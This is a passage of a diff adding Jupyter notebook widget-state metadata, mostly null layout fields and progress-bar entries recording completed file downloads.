+            "description_tooltip": null,
+            "layout": "IPY_MODEL_81f0403d83cb4bf4bf79999e1996d72f",
+            "max": 791656,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_9ad78b27bc1c493aa4e9d5ad668ecc24",
+            "value": 791656
+          }
+        },
+        "3eebaaebfb484af599541c3c36850e07": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_14144ed4056b4c0693c54ee3d4d3be52",
+            "placeholder": "",
+            "style": "IPY_MODEL_102e2d5de57641f3bda341770c3d6f20",
+            "value": " 190/190 [00:00<00:00, 4.73kB/s]"
+          }
+        },
+        "3fafe8d5bf584c918ac533ebf29336fe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_bb1e640a31364eacbe0da6c4ecffa2b4",
+              "IPY_MODEL_f3487f34f7c146f1b3553481f2a34fa5",
+              "IPY_MODEL_26c426ba73e0459cb6a68df6405a5cfd"
+            ],
+            "layout": "IPY_MODEL_fce256df4e284320a14e55052d7cdf6e"
+          }
+        },
+        "40c757566f6b42f7bded1f4bc25b64b0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "40ca3bd66a3b4a82b3060093f6b30118": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "41241cf9767d4b5e9e4342b49827addd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4203ae124de64bbf82b42c1cd17044cd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "427f32740fd24613b857cb35f296e708": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4282bb7c25f24ba793391b9399397cdd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dbe0e5d8f20f4332af2c46f7cf44ddbc",
+            "placeholder": "",
+            "style": "IPY_MODEL_0b89371281014a8db151d84e86499ff3",
+            "value": " 229/229 [00:00<00:00, 6.03kB/s]"
+          }
+        },
+        "441d4fbf8065415f906e36e493e8ce15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8ce12bc907ab4c819d56905afb0ea6d3",
+              "IPY_MODEL_7ed8efa3a9ec47f1b1221b86d8844ec7",
+              "IPY_MODEL_60eb8788f58d4e5992c23b53e2dac299"
+            ],
+            "layout": "IPY_MODEL_a569ef16bd54481da270b628b8a38dc7"
+          }
+        },
+        "443419a42dea495281d203876cac6ba5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "44a243ebf5a2403a8afc5a0c3b316f1c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "44b5e5229d0345ddb87042cc3e18133c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4558f546896b41caaadc3b176004370a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0cce19853cf34654a295fdec10cee7e1",
+            "placeholder": "",
+            "style": "IPY_MODEL_85676b3aefec4544a8f2189465f9bf37",
+            "value": "Downloading: 100%"
+          }
+        },
+        "45a651237d214adaa2c164d25e38fe6d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "4714cacaf5f649a4b736cffb54f61429": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "47241502eb7e42f3aecffade97501a43": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d83730c26b964173ad265cf354e2e599",
+            "max": 891689022,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_6377cea1fe8d40d3ae4404eac41225ee",
+            "value": 891689022
+          }
+        },
+        "47a3ac34306b47ac88ce394201d7d979": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2f38e041d47c4e7291eeeafb483af317",
+            "placeholder": "",
+            "style": "IPY_MODEL_d02e64decf1a45f3b843e239fa51a0aa",
+            "value": " 798k/798k [00:00<00:00, 654kB/s]"
+          }
+        },
+        "47d684cd4d554167bf7d8f6aa3f47bfe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "48140db808c445ef842addfaacbd274e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "486d6ccb92c84634880426d661b6753c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "488086c45992441fbde55ad995cd25f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4a0a2b21a2984d738e880f567a017261": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4a6b117f57164cc8aa0f34f73d15e291": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2a416594de744d5fa35d961b9f167e40",
+              "IPY_MODEL_d2a00c5b5a414a998fe70a5bc04ef990",
+              "IPY_MODEL_315240aedfce4fba997dc6f1cde76b88"
+            ],
+            "layout": "IPY_MODEL_ddf5e4947848483ab83d67c5a58d7750"
+          }
+        },
+        "4a6fcd11063d4698b996904fd258a1d0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_efedbdfaa46b40e28f744d8ea8892fc6",
+            "placeholder": "",
+            "style": "IPY_MODEL_173e275358c74e54ae8007ebfb8abc55",
+            "value": " 1.34k/1.34k [00:00<00:00, 34.7kB/s]"
+          }
+        },
+        "4cac51dbac4c4281831eba5bfda9dabe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_edc8d64f14dd4363936aa6dc69306621",
+            "placeholder": "",
+            "style": "IPY_MODEL_1f241eb11bb84543af39005814a79c87",
+            "value": "Downloading: 100%"
+          }
+        },
+        "4da8a932547e478d84acaf52903bed78": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4e1b9b10cee9449b8dd199b05d77504e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "4e37c900ea394fb09e2d0b2101ff95ba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4f1c774e457e45788a4bd2c8d93a7a33": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d4f3ce9f2be548ff83fd8a25f4f8a98d",
+            "placeholder": "",
+            "style": "IPY_MODEL_388ed006e94a4970af2d8ce095174233",
+            "value": "Downloading: 100%"
+          }
+        },
+        "4fb2bc4ce4e14fd78da1b3a128dfdba3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "509d24b29e7042ac810ab0bf3f06efd3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "50bd709138344fcf9fe9e57a5cdcc845": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_83d54153e6ee4ab1bac38ee0f2b35aba",
+              "IPY_MODEL_d8e34cbde5a04c648203a18b57c86fca",
+              "IPY_MODEL_35d89946664149f8b69afd67133b877c"
+            ],
+            "layout": "IPY_MODEL_07d945887a124977be98d016c62f0666"
+          }
+        },
+        "51294dd3952e43ffb93419d80206c009": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "51398c089c3d4ea0baee3a965ae04972": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
